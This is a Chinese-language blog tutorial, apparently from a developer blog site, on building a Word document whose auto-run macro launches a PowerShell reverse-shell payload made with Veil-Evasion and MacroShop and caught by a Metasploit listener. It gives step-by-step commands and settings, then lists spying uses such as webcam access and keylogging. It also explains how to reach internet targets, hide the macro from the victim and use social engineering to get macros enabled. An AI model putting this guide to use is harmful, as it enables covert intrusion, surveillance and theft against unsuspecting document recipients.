【原创】利用Office宏实现powershell payload远控
本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中。
环境:虚拟机_Kali
依赖:Veil-Evasion、MacroShop
0x00 安装Veil-Evasion、MacroShop (老鸟可绕过)
本例采用git 安装。
打开Veil-Evasion的github页面:https://github.com/Veil-Framework/Veil-Evasion
如上图所示,点击【Clone or download】,复制该URL。
在kali(本例为root权限)的Terminal下使用命令:
git clone https://github.com/Veil-Framework/Veil-Evasion.git
等待下载完毕后执行进入Veil-Evasion的目录进行安装。执行命令:
cd Veil-Evasion/
cd setup
./setup.sh -c
使用git方法下载之前需要安装git,方法是在执行命令:
apt-get -y install git
同理安装MacroShop(Github: https://github.com/khr0x40sh/MacroShop)。
0x01 Veil-Evasion 生成Batch
运行Veil-Evasion下的Veil-Evasion.py。
在menu下输入”list”查看可以生成的payload的对应标号。
本例要生成一个powershell的payload,使用tcp协议连接通信。
在menu下输入对应编号后回车。本例输入”24”。进入payload配置。
当前缺省配置为主机IP为空,监听端口为4444。接下来设置这两个参数。通过在Terminal下使用ifconfig得到本机IP,本例为172.22.195.135。
输入:
set LHOST 172.22.195.135(回车)
set LPORT 4118(回车)
这样我们就设置完毕了。可以使用info命令查看当前配置信息。
端口号的设置要在端口可用范围之内必开常用端口,以免出现占用情况。具体取值范围请参阅计算机网络。
接下来,使用generate命令生成该payload。
此时需要给这个payload文件命名,命名由用户任意决定。本例为d0main_payload。
生成成功后,注意记录payload(Payload File)的存储路径和句柄(Handler File)存储路径。
0x02 MacroShop生成VBA语句
在MacroShop下,执行命令:
./macro_safe.py Payload File 输出文本文档
本例为:
./macro_safe.py /usr/share/veil-output/source/d0main_payload.bat d0main.txt
这样,MacroShop就为我们在其程序目录下生成了一个.txt的文件,其中的内容为VBA的代码(是一个open方法,当启用宏是,这些代码将自动执行)。
可以使用vi d0main.txt看一下这个文本文档。
复制这个方法的主要语句,从Dim Command As String 到 Shell exec , VBAHide 即可。
0x03 创建宏
打开一个word文档,.doc或.docx。在【视图】选项卡中点击【宏】。
在【宏名】文本框中输入要创建的宏名(由用户自己定义),然后点击【创建】。
随机进入代码模式,点击左侧【Project】-->【Microsoft Word对象】-->【ThisDocument】(双击)。
在右侧打开的代码窗口中,点击左上方的下拉菜单选择【Document】,在右上方的下拉菜单中选择【Open】。然后粘贴刚刚复制的VBA代码。
注意粘贴代码时,只在Private Sub Document_Open()和End Sub之间粘贴。
点击保存之后就可以关闭了。至此,生成了一个用office宏实现的带有payload的word文档。
0x04 msfconsole下监听
回到kali,在Terminal执行命令:
Msfconsole -r 句柄文件
这样便开启对powershell payload的监听。
0x06上线与远控
保证监听器处于启动状态,如果上面我们创建的word文档被打开并启用宏,监听器将收到上线信号。等待几秒钟后,产生一个会话(本例为会话1)。
在msf exploit(handler)下输入:sessions -i 会话号(回车)
这里的会话号必须是上线了的会话号。
然后就可以进行远控操作了,例如查看系统信息、截屏、查看进程管理器、关闭进程、打开摄像头、记录键盘等等。
说明:
本文选择在虚拟机和宿主机之间进行演示,如果需要远控公网上的目标,应该在LHOST填写自己的公网IP。我们可以借助花生壳来完成。
可能有人会说,【视图】选项卡下面的【宏】会暴露我们自己创建的宏,比如本例中的NewPayload。其实这个宏可以在创建它的地方(见0x03)再将其删除掉。这样操作并不会让我们的payload失效。这样即使对方去【宏】中查找也不会在列表中找到我们生成的宏。
除了早期的office版本外,大多数Office版本默认不启用宏,因此第一次打开带有宏的文档时,会被询问是否“启用内容”,为了让对方启用宏,我们可以使用一些特殊手段比如社工等。这里不做赘述。
Payload上线后,打开Win这一端会启动一个powershell进程,可以在任务管理器中看到。如果主动去结束这个进程,远控即会掉线。
【原创】利用Office宏实现powershell payload远控的更多相关文章
- 利用kage把msf变成可视化远控平台
项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q ...
- Office宏的基本利用
前言 Office宏,译自英文单词Macro.宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动 ...
- 使用kali生成远控payload
kali linux中的metasploit框架是优秀的渗透框架之一,今天记载一下使用kali生成windows远控木马的过程 生成payload使用的工具是MSFVenom,我们输入msfvenom ...
- 在LaTeX中利用preview宏包和tikz宏包生成单图pdf
有时候我们利用tikz宏包画出的图片后,只想生成一个单图pdf,而且pdf的页面大小与图片相同,以便于以后再次用latex插入. 可以与preview宏包进行搭配,页面大小由图像大小决定,可以通过改变 ...
- 支持国内版Office 365的PowerShell模块现已发布
作者:陈希章 发表于2017年5月12日 上一篇文章我详细介绍了如何在PowerShell中访问到Office 365的Graph API,在文章结尾处我留了一个问题,希望有朋友可以根据那个思路,尝试 ...
- 利用VBA宏批量解决Word中图片大小、居中设置
需求:经常阅读网上的研报(没钱买排版漂亮的高质量研报),有些需要保存的复制下来到word里,图片很大都超出word的边界了,也没有居中,手工一张张调整不现实,上百页的研报,几十张图片. 解决方案:利用 ...
- 利用sourceinsight宏(Quicker.em)提高编码效率和质量
利用sourceinsight宏(Quicker.em)提高编码效率和质量Marco是sourceinsight软件一个强大的功能,用户可以通过编写宏来实现自定义功能.这里有个比较流行的宏文件quic ...
- 【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控
文章作者:MG1937 QQ:3496925334 CNBLOG:ALDYS4 未经许可,禁止转载 前言 说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中 甚至是最近也捕获到了 ...
- python+msf 制作 windows远控
最近分析的一个远控,后发现是meterpreter rever http shell,文件是个打包的python(打包成exe),感谢wstone的指导~ 创建dll ./msfpayload win ...
随机推荐
- python 基本数据类型常用方法总结
[引言] python中基本数据类型的有很多常用方法,熟悉这些方法有助于不仅提升了编码效率,而且能写出高质量代码,本文做总结 int .bit_length:返回二进制长度 str 切片索引超出不会报 ...
- U3D学习06-数学基础
1.fixed timestep 固定帧率, 2.time scale 快慢镜头,影响的是真实时间 3.time.deltatime增量时间,物体运动不受帧频率影响,每秒移动速度需要乘deltatim ...
- 普通数组和json数组的区别
PHP 数组 什么是数组? 数组是特殊的变量,它可以同时保存一个以上的值. 在 PHP 中创建数组 在 PHP 中, array() 函数用于创建数组 在 PHP 中,有三种数组类型: 索引数组 - ...
- Redis Server installation FAQs
OS: CentOS 7 Minimal (0) open files Q: Increased maximum number of open files to 10032 (it was origi ...
- Java平台编写运行Ruby和Python
Java不仅是一门编程语言,还是一个平台,通过JRuby和Jython,我们可以在Java平台上编写和运行Ruby和Python程序.
- Java框架相关
问题及答案来源自<Java程序员面试笔试宝典>第五章 Java Web 5.3 框架 11.什么是IoC? IoC:控制反转(Inverse of Control, IoC),有时候也被称 ...
- .NET MVC 保存Session值,6位数验证码
//6位数验证码: Random rm = new Random(); , ).ToString(); //MVC控制器Action中 保存session值 System.Web.HttpContex ...
- vue项目,npm install后,npm run dev报错问题
报错: ERR! code ELIFECYCLE npm ERR! errno 1 npm ERR! metools@1.0.0 dev: `node build/dev-server.js` npm ...
- leetcode 852. Peak Index in a Mountain Array
Input: [0,1,0] Output: 1 Input: [0,2,1,0] Output: 1解: 比较数组中的i和i-1的大小,如果前一位大于后一位数字,前一位则是结果 let ans = ...
- concurrent.futures模块 -----进程池 ---线程池 ---回调
concurrent.futures模块提供了高度封装的异步调用接口,它内部有关的两个池 ThreadPoolExecutor:线程池,提供异步调用,其基础就是老版的Pool ProcessPoolE ...